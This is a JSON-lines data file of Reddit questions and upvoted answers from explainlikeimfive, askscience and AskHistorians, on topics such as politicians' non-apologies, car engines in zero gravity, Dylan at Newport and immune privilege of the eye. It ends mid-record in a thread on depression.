{"q_id": "526b3n", "title": "why do politicians and celebrities always \"regret\" something rather than say they're \"sorry\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/526b3n/eli5_why_do_politicians_and_celebrities_always/", "answers": {"a_id": ["d7hoiyt", "d7hpdwa", "d7hst5y", "d7hwxqd", "d7i6hji"], "score": [50, 43, 6, 2, 2], "text": ["Because it sounds vaguely like an apology, without actually admitting they did anything wrong.\n\nThey get to say \"I apologized, what more do you want?\" without having to specifically identify or even admit to bad behavior.  It is kind of a weasel thing to do.\n\n\n\n", "Saying \"I'm Sorry\" is a responsive action. Apologizing for something done, but also can be interpreted as apologizing for the listeners reaction without admitting guilt.\n\nSaying \"I'm Regretful\" is a self actualized action. They are phrasing it as if the remorse comes purely from within, regardless of any outside influence.\n\nI can apologize to my roommate who watched me pig out on ice cream, but it means nothing if I don't regret it.", "5 YO version: Remember when you were in grade school and you had that crush on that other classmate? It was kinda obvious to everyone but you would play it down and deny it and so only your friends would tease you about it. Once you admitted it though everyone knew and everyone was talking about it including your crush! \nIt's a lot like that. Once you say \"I'm sorry I did X\" you admit to doing something wrong and there is no taking it back. If you never come right out and say it you keep some control over the story.\n\nLonger version: When someone says they are sorry they usually are doing so with good intentions because they want to fix a relationship/damaged trust, or sometimes even show sympathy. Unfortunately an apology is often seen as an admission of guilt because the one apologizing is admitting that they did something wrong. For example by saying \"I'm sorry that I hurt you\" you are...\n 1. admitting to hurting the person and\n 2. demonstrating you feel that you are in some way guilty. \nIn the legal setting this is called culpability. This can be a serious problem because the offending or accused party can attempt to protect themselves by not communicating with the other party at all. It can be such a problem that for certain professions, such as doctors, some states have created laws stating that apologies made by certain professionals or in certain settings are not admissions of culpability. \n\nPoliticians are subject to the scrutiny of the public and the media which tend to be far less forgiving  and admitting any wrongdoing can be disastrous for their careers. They can later be quoted as saying that they did X, and give up any reason to justify or play down whatever they did. \n\nAlso if someone says something like \"I'm sorry you feel that way\" it deflects the focus away from what was done to what the other person feels. That way it casts the situation as the other person being too sensitive.", "It's a matter of semantics, and of sometimes using different definitions of words than is generally assumed by the listening public.  But basically, if a politician says \"I'm sorry I did this\" then he's admitting that he did something wrong.  He did something, he now knows that it was wrong, he probably knew it was wrong when he did it but thought he could get away with it, and now he feels responsible.  He feels sorry that he did it, or sorry that people were hurt by it, or at the very least sorry that he got caught.\n\nIf, on the other hand, he says \"It's regrettable that this happened\" then he's NOT admitting that he did something wrong.  He's not sorry and he's not taking responsibility.  Something happened, and it was a bad thing that happened, and of course he'd rather that this bad thing have not happened.  But he's not admitting that he did the bad thing or that he is in any way responsible for it.  It's like saying \"mistakes were made\" rather than saying \"I made a mistake.\"\n\nAnd yes, they do expect that the general public not realize the difference and be placated by the (non)apology.", "Because they aren't really sorry -- don't want to truly take back what was said.  However, they do regret saying it.. because people are giving them shit about whatever it is. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1okc05", "title": "What would happen if I started my car in zero gravity?", "selftext": "Assuming you're in a pressurized environment, if I started my petrol car in zero gravity, what would happen?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1okc05/what_would_happen_if_i_started_my_car_in_zero/", "answers": {"a_id": ["ccss0r7", "ccssnu6", "ccstf33", "ccsuwsv", "cct15sd", "cct40qy"], "score": [7, 58, 287, 12, 2, 2], "text": ["I would think the oil would be floating around instead of being at the bottom of your oil pan, which would introduce many air bubbles onto your engines lubrication system and cause the engine to fail in short amount of time. Basically, friction would burn up your motor.", "You would likely fail to start, since most cars use a gravity feed to move gas from the tank to the fuel pump. In rockets, we do a thing called an \"ullage burn\", which is a tiny burp of the engines to slosh the fuel to the back so it can be pushed to the turbo pumps. ", "If you had a fuel injected engine and an elastic fuel bladder, the engine would run, and you would probably get enough lubrication from the oil to operate short term. If the car was not strapped down or attached to anything, it would begin to rotate around the same axis, but in the opposite direction, of the fly wheel to conserve angular momentum. ", "~~Engines with carburetors will not work for long as the cylinders mixing fuel and air will not be able to operate efficiently with no gravity pulling the fuel out of them. With tuning you could probably increase efficiency somewhat but I'm not certain you'd get much out of them.~~\n\nEDIT courtesy of /u/ok_man: Carburetors would not work at all as the float bowl controlling mix ratios would not be able to function.\n\nNewer cars use fuel injection where the fuel and air are mixed in the combustion chamber as opposed to the carburetor, so with no gravity the mix would not happen as effectively. You'd likely get a very dirty burn (lots of CO and soot) because of the reduced oxygen levels but you'd run. Cars with superchargers or turbochargers would have less of this problem. After some time running the engine you'd find that the exhaust would be badly choked up by the dirty fumes. \n\nDiesel engines compress the diesel before it combusts and nearly all diesel engines have a turbocharger so they'd perhaps be a little better in 0G. \n\nBut lubrication and fuelling systems would start to let you down. Many cars rely on gravity to keep oil in the sump so you'd find that that after a while you'd get severe damage to moving parts that had no oil to protect them. Lots of fuelling systems also rely on gravity for fuel filtration and delivery, so you'd be able to start the engine but running it would drain the system and you'd stall.\n\nIf you have a lubrication system completely devoid of air like you find in some super cars and a fuelling system that doesn't rely on gravity then you could easily start the car and rev the engine for some time.\n\nHowever problems would arise when you failed to move anywhere (no gravity, assuming no traction) as even the most effective liquid cooled engines won't work if you don't move anywhere because you'd have too little airflow through the radiators. \n\nHope that helps, apologies for any typos or bad grammar, I'm on my mobile. \n\nSource: Engineering student with years of experience working on cars.", "Assuming there is still a standard atmosphere, a fuel injected vehicle would have no issues with starting and running. You would run in to an oil starvation problem since engines rely on gravity to supply the oil pump with oil. Even dry sump systems rely on gravity to scavenge oil from the pan.\n\nA carbureted engine would most likely flood since there is nothing stopping the flow of fuel in to the float bowl. ", "I didn't spot this here yet but assuming you can start the car and it isn't chained down, Newton's third law would become evident.  The torque generated by the engine would cause the whole car to spin in the opposite direction of the crankshaft."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1489th", "title": "What would the ideal height/body size be for a medieval knight in armor be?  ", "selftext": "I'd wager the bigger the better (but they might not have enough material to make armor for you) for combat. So what was the ideal knight's body?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1489th/what_would_the_ideal_heightbody_size_be_for_a/", "answers": {"a_id": ["c7ar7r7"], "score": [5], "text": ["Define 'medieval'.  You need to give us a more specific time period - armor and combat changed significantly from 700 CE to 1500 CE.\n\nFurthermore, bigger was not always better.  There is a limit to the amount of weight a horse can carry.  A 350 lb man + 100 lbs of armor is going to require a hell of a horse, and larger horses are more difficult to supply (as they require significantly more food).  A horse can carry roughly 20% of its body weight, so 450 lbs of man and armor requires a 2250 lb horse.  Most horses are not 2250 lbs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2fqr3c", "title": "this gif", "selftext": "_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2fqr3c/eli5_this_gif/", "answers": {"a_id": ["ckbu1hp", "ckbxsxd", "ckbzpgd", "ckc1oll", "ckc98vu", "ckc99dy", "ckc9w53", "ckcdc97", "ckcgo6w", "ckch45r", "ckcpkz3"], "score": [2607, 217, 115, 21, 11, 2, 8, 3, 2, 2, 3], "text": ["The gif adds in area as the pieces are moving around(since they're moving, it's harder for you to perceive this). [This](_URL_0_) version shows it with each piece color coded. If you're still disbelieving, buy two chocolate bars. Cut one up and then compare it to the other, it'll be smaller because you haven't added back the area of the \"free\" piece.", "Slowed it down, cropped the relevant part, and added pretty arrows.\n\n[Here ya go.](_URL_0_)", "This is the gif version of sleight of hand.   ", "While the GIF is pretty much just a trick/optical illusion as others have already mentioned, it reminded me of a famous mathematical paradox.  \n\nThe [Banach\u2013Tarski paradox](_URL_0_) states, in ELI5 language, that it's possible to take a (mathematical) sphere, break it down into pieces, and put them back together into 2 copies of the original sphere.", "Okay, noone's giving a mathematical answer so here it is:\n\nThis is more commonly known (in the maths world) as the missing square problem and can be done with many shapes. \n\nIn this example the rectangle is split into 5 pieces:\n\n- The single 1x1 piece,\n\n- The 1x2 piece,\n\n- Two trapezium shapes one smaller than the other\n\n- And finally  the big trapezium at the bottom.\n\n\nIt is these three trapezium pieces that are the key to this problem.\n\nTry to work out the gradients of the lines of the diagonals of each of the trapeziums. For the chocolates to line up properly after the rearrangement, the gradients must be the same, but it is not. \n\n\n[Here is a clearer video which shows it with squares instead of rectangular chocolate pieces and the shape is larger so you can see it more clearly](_URL_0_). You can see in the video as the guy keeps taking one more piece out the lines do not match up as well.\n\n\nIf you are having trouble visualising it, then get a graph or square paper and make it yourself and try it out (use a big sheet of paper!). You will see that the lines do not quite line up.\n\n\nAnd yes the gif is filled at some frames slightly for the chocolate to line up. In real life this wouldn't happen.\n\n", "The left piece moves UP and slides OVER, thats the missing space that is then closed once it moves into place. Optical illusion.", "It's an optical illusion wherein the chocolate is added back to the piece that  slides up to the top right. You can't tell it's being added in because it adds it in while sliding so it is hard to tell but if you watch closely on the piece that slides up and to the right you can see it grow as it moves.", "In the gif, they extend the chocolate (they lie) with super computer graphics.", "The secret to unlimited chocolate. ", "[Epic geometry maneuver!](_URL_0_) ", "Here it is easy explain by video. _URL_0_ only 18 seconds."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/cVc8Toq.gif"], "answers_urls": [["http://i.imgur.com/nA53dlx.gif"], ["http://i.imgur.com/1B3r9rU.gif"], [], ["http://en.wikipedia.org/wiki/Banach%E2%80%93Tarski_paradox"], ["http://www.wimp.com/squarepuzzle/"], [], [], [], [], ["http://epicgeometrymaneuver.ytmnd.com/"], ["https://www.youtube.com/watch?v=Lkd69f2hltU"]]}
{"q_id": "1rs4h4", "title": "How did Jacobin ideology spread so quickly during the French Revolution and the ensuing Terror?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1rs4h4/how_did_jacobin_ideology_spread_so_quickly_during/", "answers": {"a_id": ["cdqf4wd"], "score": [2], "text": ["The Jacobins has sister clubs all over the country, who the Paris Jacobins had a lot of contact with. There were also a lot of newspapers going around, many of them pushing a particular ideology. The Moniteur, which had reports and protocols from the Paris Jacobins and the National Convention, is particularly noteworthy. \nAlso, the representatives on mission. Politicians were sent off to various parts of the country that were having difficulties and were supposed to clear things up. This happened both legally and ideologically, applying the Terror to get rid of whatever was seen as making the area in need of what was basically a local dictatorship, and by promoting the ideas the Convention wanted spread. However, many of them also spread their own ideas contrary to the desires of the government, like extreme atheism and even some kind of pseudo-communism. \n\nThat's how ideologies were spread, anyway, though I'm not sure it did all that well. Many parts of France were in open revolt for part of the revolution, both royalists and federalists who supported the more right-wing girondists and rebelled when the left-Jacobins took over. It took a long time for these to be subdued. And in the end, after the fall of Robespierre, tens of thousands of Jacobins were killed in what's known as the White Terror. The White Terror in Paris didn't kill nearly as many, which to me would suggest that Jacobinism was still too strong for its adherents to be outright butchered even after the clubs were closed while this obviously wasn't the case in much of the country. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1zcfmr", "title": "why do bad guys always look cooler than the good guys?", "selftext": "This happens in every game or movie, the bad guys always have some cool black uniform that makes them look like total bad-asses whereas the good guys just look, meh.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1zcfmr/eli5_why_do_bad_guys_always_look_cooler_than_the/", "answers": {"a_id": ["cfsfc02"], "score": [3], "text": ["Just a geuss, but maybe it's because the good guy's supposed to be relatable. You gotta feel like that could be you. The bad guy looks cooler because you have to defeat him. Defeating a scrony, small guy isn't as cool as defeating a badass."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "veeoj", "title": "Immune system vs. wound healing", "selftext": "Has anyone ever done studies to see if there is a correlation between current immune system response (e.g. heightened for people who are currently fighting off something, lowered for people with a compromised immune system) and how quickly wounds/open cuts heal or something like that?\n\nThis was a random thought that came into my head earlier today and I'm curious to see if there is any merit to it.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/veeoj/immune_system_vs_wound_healing/", "answers": {"a_id": ["c53v2xu"], "score": [2], "text": ["I can't think of an example study off the top of my head but if someone is already fighting off some sort of illness they heal slower because it is more strain on the system rather than a \"oh well we already have all these T-cells working away\" situation.  Healing is generally slower for people with compromised immune systems too - like diabetics. This is really good summary of the different stages of healing from hemostasis and initial inflammation to scar remodelling if you're interested but it doesn't really go into the effect of concurrent illness on inflammatory cell activation/cytokine levels or anything. _URL_0_ "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://bsu.ncl.ac.uk/pdfs/wound_healing_review.pdf"]]}
{"q_id": "13yq2e", "title": "el15: the homunculus", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/13yq2e/el15_the_homunculus/", "answers": {"a_id": ["c78cfof"], "score": [2], "text": ["There are two homunculi - motor and sensory.  I'll start with sensory.  All of the sensory input your body receives travels to the sensory cortex of your brain.  There is a very specific arrangement as to what goes where.  The lower limbs are centrally located, the trunk and upper limbs are more outward, and the mouth and face is most outward.  Common sense would suggest that since your legs are bigger, more of the brain would be devoted to leg sensation versus fingertip sensation.  What was actually found however, is that size doesn't necessarily correlate with brainspace.  If humans were designed according to how much brain power each body part used, we would look like the [homunculus.](_URL_0_)  Notice how the hands, and face are HUGE.  More brainpower is devoted to sensation in those areas.\n\nMotor homunculus is based on the exact same principle, except that it is based on how much brain power is devoted to motor function in each region. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.autismindex.com/Therapies/Therapy_Key_Word_Site_Map/sensory/motor_1.jpg"]]}
{"q_id": "1hjgya", "title": "when plastic bags were banned in california, why were all stores now able to charge for paper bags; even though paper was freely offered prior to plastic being banned?", "selftext": "When plastic was banned, suddenly every store started charging between 10 and 20 cents for paper bags. Grocery stores have freely offered paper bags for decades, yet suddenly they are all charging now for paper. Why?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1hjgya/eli5_when_plastic_bags_were_banned_in_california/", "answers": {"a_id": ["cauy77s", "cauz2ja", "cav1jz5"], "score": [3, 12, 13], "text": ["I'm not saying I agree with it, but it's to encourage you to bring your own reusable bags.", "I live in CA, and plastic bags still exist. At Safeway, at least in my county, you get them for free; they're the only choice at the self-checkout stations. It might vary county by county. I know that Berkley and the rest of the posh East bay frowns upon them and some shops don't let you use anything but bags you bring in.", "Lots of the counties made it illegal to give free bags. They have to charge you the 10 cents and add it as a separate line item on the bill."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4efu5n", "title": "if a society like the us has decided as a whole that it is better to incorrectly acquit than to incorrectly convict, why do there seem to be so many wrongful convictions and so few wrongful acquittals?", "selftext": "(Let's not talk about cops getting off as that's a tiny percentage of the criminal justice system)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4efu5n/eli5_if_a_society_like_the_us_has_decided_as_a/", "answers": {"a_id": ["d1zp9fo", "d200f0q"], "score": [43, 4], "text": ["Guilty people go free in the courts every day. The police know they did it. The lawyers know they did it. The witnesses know they did it. But the jury says \"not guilty\". You don't hear too much about wrongful acquittals because there is nothing that you can do about it after the fact because of [double jeopardy](_URL_0_). Once they are found not guilty, they are always not guilty.\n\nWith a guilty verdict, you can reverse that in an appeal. It gets more news coverage because when you put someone in jail for a crime they didn't commit, it's a huge social injustice.", "\"Wrongful acquittals\" are uncommon because prosecutors (bad eggs aside) won't pursue a case if it isn't likely to end in a conviction, and it is actually a violation of disciplinary rules for them to do so.  Thus, a \"wrongful acquittal\" where a guilty person walks usually just indicates that the evidence was insufficient to prove their guilt beyond a reasonable doubt.  It isn't \"wrongful\" when this happens, it's the justice system working as intended.\n\nWhat is not uncommon is the case in which a crime was committed but no charges are filed, or charges are dismissed.  There are thousands of cases like this every day across the country, where there is simply insufficient evidence to proceed beyond a preliminary hearing, or to even file charges in the first place.  So there are many, many people who commit crimes and are never convicted.  These cases are not reported in the media, generally, because nobody cares.  It's the justice system working.  We don't like to see guilty people walk, so we don't talk about it even though its literally happening every day, everywhere.  But its necessary if we want reasonable safeguards against wrongful convictions.\n\nWrongful convictions, however, attract a huge amount of media attention.  They shouldn't be happening, and we should do everything we reasonably can do to prevent them.  But they are also inevitable, so long as a criminal conviction requires anything less than absolute certainty (which arguably isn't possible).  \n\nSo I guess the short answer is - even if it seems like wrongful convictions outnumber \"wrongful\" acquittals, it only seems that way because of how the information is disseminated.  It simply isn't the case."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Double_jeopardy"], []]}
{"q_id": "715j65", "title": "what causes some materials to be more optically dense than others?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/715j65/eli5_what_causes_some_materials_to_be_more/", "answers": {"a_id": ["dn8woyq"], "score": [2], "text": ["So if by optically dense, you mean higher refractive index then I can say for most materials the refractive index is tied (primarily) to a quantity called electric susceptibility. Basically, this is a number that describes how easily the atoms/molecules that make up the material can align their \"internal\" electric fields to an external one. This is called polarization. Since light waves are electromagnetic waves, the electric field from the incoming light will do some work in polarizing the atoms/molecules of the material and make the (phase) velocity of the light go down. The less likely those atoms are to align with the electric field from the light, the less energy is spent on aligning them, and the velocity won't go down as much. This is a *very* simplified picture but essentially that's the gist. Higher susceptibility = more polarization = more work light will do in material = optically denser material.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "979gqb", "title": "At the Newport Folk Festival in 1965, Bob Dylan performed live with an electric guitar for the first time and was booed by the audience. My reading's found conflicting reasons why. Do we know what really happened and why?", "selftext": "I'd always thought that the booing was in reaction to Dylan \"going electric\" and scandalizing the audience at the festival, but reading more about it the reports actually seem conflicting. Do we know of a prevailing reason for the booing, or are the reasons truly unknown?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/979gqb/at_the_newport_folk_festival_in_1965_bob_dylan/", "answers": {"a_id": ["e46mv5z"], "score": [30], "text": ["This is one of those legendary events where everyone who was there has a different account of how it went down. Some important details usually in the story are\n\n* **Dylan playing electric was a shock to the folkie audience.** Maybe, but this was not the first time electric instrument had graced the Newport Folk Festival stage. [The Chambers Brothers played earlier the same day with an electric band, as had the Butterfield Blues Band, a few of whose members were actually the group backing Dylan.](_URL_1_) \n\n* **Dylan is introduced, and booed as he gets on the stage.** This has been attributed to him appearing with an electric guitar, but has also been explained as a reaction to the introduction itself, which explained that Dylan had a \"limited amount of time.\" As Dylan was one of the biggest names at the festival, it'd be only natural for the crowd to be disappointed to learn that he wasn't going to do a long set, which could explain the booing. \n\n* **The sound was bad.** This was an issue with the festival and many outdoor venues in general (eg Woodstock a few years later), but having an electric band adds a greater degree of complexity and therefore many accounts state that his set was nearly indecipherable. This again fuels disappointment in the crowd, and also will affect one of the biggest legends to come out of the \"Dylan goes electric\" myth.\n\n* **Pete Seeger threatens Dylan with an axe!** The juiciest and most widely-varied rumour out there. In some versions, Pete has an axe and has to be restrained from either attacking Dylan or cutting the cables to the sound equipment. Others just have him threatening to do that, with no axe actually in sight. One of Seeger's friends even suggests that all he wanted was for the sound to be turned down, on account of his father's hearing. Whatever the issue, Pete's disgruntlement is seen as the prime example of the folk \"establishment\" rejecting Dylan. Pete, for his part, said that he did bring up cutting the cables with an axe, but only because the vocals were so distorted that Dylan's lyrics were unrecognizable, and said his words were:\n\n >  Get that distortion out of his voice, it's terrible. If I had an axe, I'd chop the microphone cable right now.\n\n* **Dylan's set ends, booing ensues, but he returns with an acoustic guitar to cheers.** This is sometimes portrayed as him \"giving them what they want,\" an acoustic, more traditional folk performance. However, some people there, including members of Dylan's band (as we'll see below) contend that people were just upset that Dylan was seemingly being hurried off stage by organizers keen to keep a tight schedule. Since the band had just rehearsed a few songs, he was convinced to come back out and do something solo as a sort of encore, which the crowd appreciated.\n\n* **News spreads of the booing.** This is one of the most important aspects of the mythmaking process. The New York Times, writing a review of the concert, said that Dylan \"was roundly booed by folk-song purists who considered this innovation the worst sort of heresy.\" To anyone who wasn't there, this was an account in a reputable paper stating a fact, and since it played on popular stereotypes of the snobbish folkie vs the rebel rock n roller, it ended up becoming a fact for many.\n\nAl Kooper, who was in Dylan's band, has blamed the shortening of the set for the booing issues, as he says in [this interview:](_URL_0_) \n\n >  Newport was, and Forest Hills was one of the biggest circuses I've ever been in. At Newport there were a lot of warring factions. The Lomaxes and the Grossmans were at war over the fact that there were electric instruments at Newport. In fact, way before Bob played, the Butterfield Band had played electric, and the Chambers Brothers had played electric. And, and the board of directors were going berserk. They didn't like it. This was really not known by the crowd that was there. The crowd that was there certainly took it all in and enjoyed it and didn't boo the Butterfield Band or the Chambers Brothers or anything like that. Now, most of these people had come to see Bob Dylan. He was the star of the festival and he played on the last night, at the highlight of the show. \n\n >  And all these other acts were pretty much something that these primarily college kids had to endure as opposed to appreciate. They didn't care about the Georgia Sea Island Singers or Son House or Robert Pete Williams or any of the other things that were on there. They wanted to see their hero, Bob Dylan play, and that's what they plunked down the money for. And they came sort of like a spring break mentality. And of course there were people to see the other things, but I'm talking about by and large the majority of the people that were there were there with a spring break mentality to see their hero Bob Dylan. So the Georgia Sea Island Singers, Son House and Robert Pete Williams came out, and they all played like 45 minutes to an hour shows. \n\n >  And then, uh, I played at Bob at Newport with uh, the Butterfield Band backing him up. And we rehearsed the night before all night in some mansion in Newport. And we rehearsed three songs. So Bob came out with this electric band and played three songs. And we didn't especially play that good. It wasn't that good. And so all these people who had endured this whole weekend, and Bob Dylan comes out and plays 15 minutes after Son House plays 45 minutes. Well, they went nuts. Not 'cause he played electric. But because they'd paid all this money and spent all this time and suffered all this other musics, and heard 15 minutes of Bob Dylan, and they went nuts. I don't know that they really booed. I didn't hear any booing. But they certainly were unhappy, and they were yelling more, more, more, more. \n\n >  And I was backstage, and Peter Yarrow, who was the MC, from Peter, Paul and Mary, came over to Dylan and said, you gotta do another one. Bob said, we don't know any others. And Peter said, well, for godsakes go out there with your guitar and just play one. Cool them out, they're going nuts. I think Peter understood the severity of the situation. Whereas we didn't really understand it, you know, what was happening, other than they wanted to get as much Dylan as they could get, but didn't understand the dichotomy of the 15 minutes versus the 45 and an hour. So Bob went out with an acoustic guitar and played \"It's All Over Now, Baby Blue\". Which was great drama. And it was cracking me up. And uh, it was. It was all over now, baby blue. Now, then we played Forest Hills a few months later. And what had transpired is that at this time now, \"Like A Rolling Stone\" is number one in the country. And all the journalists have written about how the audience booed Dylan at Newport for playing electric, which was a crock. \n\nSo, the answer is that, short of polling every single person who booed at the festival, we don't know the exact reason why they booed. But it was most likely a combination of factors, and in fact could have been because people wanted *more* Dylan, not because of their disapproval of his music."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://openvault.wgbh.org/catalog/V_5C7C2F70B3BD46EC8DA72DB2B3E512B0", "https://acousticmusic.org/wp-content/uploads/2016/02/Newport-Schedule-1965.pdf"]]}
{"q_id": "2i0225", "title": "What was the \"Irminsul\" and it's relation to the Goths and Saxon. And what is it's origin?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2i0225/what_was_the_irminsul_and_its_relation_to_the/", "answers": {"a_id": ["cky4v4d"], "score": [2], "text": ["The Irminsul was apparently a wooden pillar that played some role in the Germanic paganism of the Saxons. The name means something like \"great pillar,\" *irmin* descending from ^* ermanaz in Proto-Germanic (the same word also appearing in Old Norse compounds like *j\u00f6rmun-gandr*, \"great serpent\") and *sul* from ^* s\u016bl\u014d meaning \" pillar,\" with cognates in many Germanic languages. \n\nAs for its significance: no one's really sure. It apparently was some kind of object of worship, if we believe the (typically hostile and always Christian) sources that mention it. Many early Germanic religions seem to have held religious functions in sacred groves or woods, and it seems that certain trees might have figured in these functions. Adam of Bremen described a sacred tree in Uppsala from which sacrifices were hung, echoing a much earlier description of Germanic sacrifice by the Roman writer Tacitus, and many \"bog body\" mummies were first hung before being thrown into the water. IA Christian king or missionary felling the pagans' sacred tree is a stock occurance in conversion narratives. It's pretty clear trees figured in cultic practices. \n\nSo what was the religious significance of this? It's impossible to say for sure, as our sources are so fragmentary. In Norse mythology (by far the best-documented of the Germanic pagan religions,) trees figure in many ways: the universe is structured around Yggdrasil, an ash tree which binds the various worlds together. In the aftermath of Ragnar\u00f6k, the end of the world, the two surviving humans will emerge from a hiding spot inside a tree and repopulate the earth - there's some kind of rebirth imagery at work here. Odin was also hung from a tree for nine days before returning to life, neatly mirroring real-life human sacrifices as described by Adam of Bremen and others. \n\nUnfortunately our sources on Saxon religion, and particularly that of the Continental Saxons, are far less complete than even the sources we have on the related Norse belief. Probably the best we can say with certainty is that some variety of worship centered around the Irminsul and that it may have involved some variety of sacrifice (though as this isn't my specialty, I can't state this is the case with certainty) and that Charlemagne had the Irminsul (or perhaps *an* Irminsul) cut down in the course of one of his many wars against the Saxons in the late 8th century. Beyond that, it's just informed speculation. \n\nThe Irminsul has nothing to do with the Goths, who spoke quite a different Germanic language than the Saxons and who originated far to the east. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ivudk", "title": "If we mined on the moon and brought the minerals back to Earth, wouldn't it mess up our tides?", "selftext": "I was reading an article on NYT (_URL_0_) and one company is positioning itself to do just that.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ivudk/if_we_mined_on_the_moon_and_brought_the_minerals/", "answers": {"a_id": ["c2714bh", "c2714kl", "c2714zx", "c27188e", "c275eee"], "score": [15, 31, 3, 81, 2], "text": ["The amount of mass you'd have to remove from the moon to have any effect on our tides would be nearly impossible. \n\nI'd expect RobotRollCall to post an elaborate, brain hurting equation that would show just how much lunar mass would need to be removed to have any effect on the tides on Earth. ", "TANSTAAFL\n\nIn other words, yes... but the effect would be imperceivable. \n\nThe Moon has a mass of 7x10^22 kg\n\nIf we moved our world-wide mining of gold to the moon, about 1.5 Million kg per year, (source: _URL_0_) it would take 10^14 years to remove 1% of the Moon's mass\n\nAs we mined the moon, and it became lighter, it would also start to move away in it's orbit. However, it's already doing this, to the tune of about a cm per year, as memory serves.\n\nSo my point is, unless we are mining a bodonkulous amount of material from the Moon, we would never approach affecting it's overall mass, and therefore the Earth's tides.", "We'd have to transfer a **ridiculously** large amount of material (likely on the order of the mass of *entire continents*) from the moon to the earth to have any noticeable impact.  We simply don't have the technology to do that.", "Only in the same way that I might mess up my balance if I shaved one of my eyebrows.    \n\nIn theory, changing the distribution of mass in the Earth-Moon system will affect tidal forces.  However, the change would so small as to be meaningless.  Let's assume they were able to mine 1 billion pounds (4.53\\*10^8 kg) of minerals and bring them back to Earth.  This amounts to removing 6.17\\*10^-13 % of the Moon.  \n\nThe equivalent fraction of a 180 lb adult would be less than the mass of an average human cell.  So, the eyebrow analogy from above is too generous!  \n\nHope that allays your concern.  ", "Here's a [fun calculation](_URL_0_[mass+of+the+moon]+%2F+[population+of+earth]).\n\nThere are 10 trillion kilograms of material on the moon for every single human being on earth."]}, "title_urls": [], "selftext_urls": ["http://www.nytimes.com/2011/07/22/science/earth/22moon.html?hp"], "answers_urls": [[], ["http://www.howstuffworks.com/question213.htm"], [], [], ["http://www.wolframalpha.com/input/?i="]]}
{"q_id": "cfopqe", "title": "inmune privilege of the eye", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cfopqe/eli5_inmune_privilege_of_the_eye/", "answers": {"a_id": ["eubdng8", "eubeg8j"], "score": [2, 6], "text": ["Some parts of your body are frequently exposed to substances or particles that your body doesn\u2019t recognize. In normal situations, your body would trigger an inflammatory immune response to those substances because it thinks they are dangerous (and they often are). But because those areas are so frequently exposed to those things, they have a subdued inflammation response.", "In the event of an infection, most parts of the body send blood to those areas, causing what you know as swelling. This blood carries white blood cells and oxygen to the area in effect to help kill off the infection and kickstart the healing process. The eye, however has a special circumstance, in that intraoccular (inside the eye) swelling would cause loss of vision. This is where that immune privilege comes in. While the mechanics of it all are still not yet understood, even under circumstance of infection, the eye will not swell up, as part of some other related mechanism which intentionally works to keep vision working \u2018at all costs\u2019 if you will. \n\nWhat is known about this are three basic mechanisms. \n\nFirst: physical barriers which limit or suppress the free flow of cells (blood cells and other immune-competent cells) into and out of the eye. \n\nSecond: The \u2018inhibitory microenvironment\u2019 of the eye, which contains immunosuppressive (limits or decreases immunity/immune reaction) cells and other properties. \n\nFinally: The eye itself regulates localized immune response. \n\n[Here is a non-eli5 article ](_URL_0_) if you\u2019d like to read into it further."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2948372/"]]}
{"q_id": "13fyn3", "title": "Is depression a First World problem?", "selftext": "I have always wondered if people who don't live cozy lives are less prone to depression? It almost seems like its a sort of middle-class disorder. I have never heard of people in Africa suffering from it. For example, people with decent homes and food to eat seem to complain about lack of motivation, no purpose in life, depression, etc... On the other hand, people live in places constantly consumed by war, or in very poor places where it's almost never certain when the next meal will be, and these people don't ever really seem to have problems with depression.\n\nSo i guess what I'm asking, is whether having to fight for survival everyday or living a comfortable safe life have any affect on Depression in people?\n\nAlso, I would like to clarify that I believe its a real thing, and feel for those affected by it", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13fyn3/is_depression_a_first_world_problem/", "answers": {"a_id": ["c73n6r3", "c73n9sh", "c73nd42", "c73psj4", "c73q8yt", "c73tns8", "c73xmxw", "c744neq"], "score": [16, 42, 56, 5, 2, 7, 4, 4], "text": ["[This paper found a significant difference in lifetime depression prevalence between low-/middle- income countries vs high-income countries.](_URL_0_)\n > On average, the estimated lifetime prevalence was 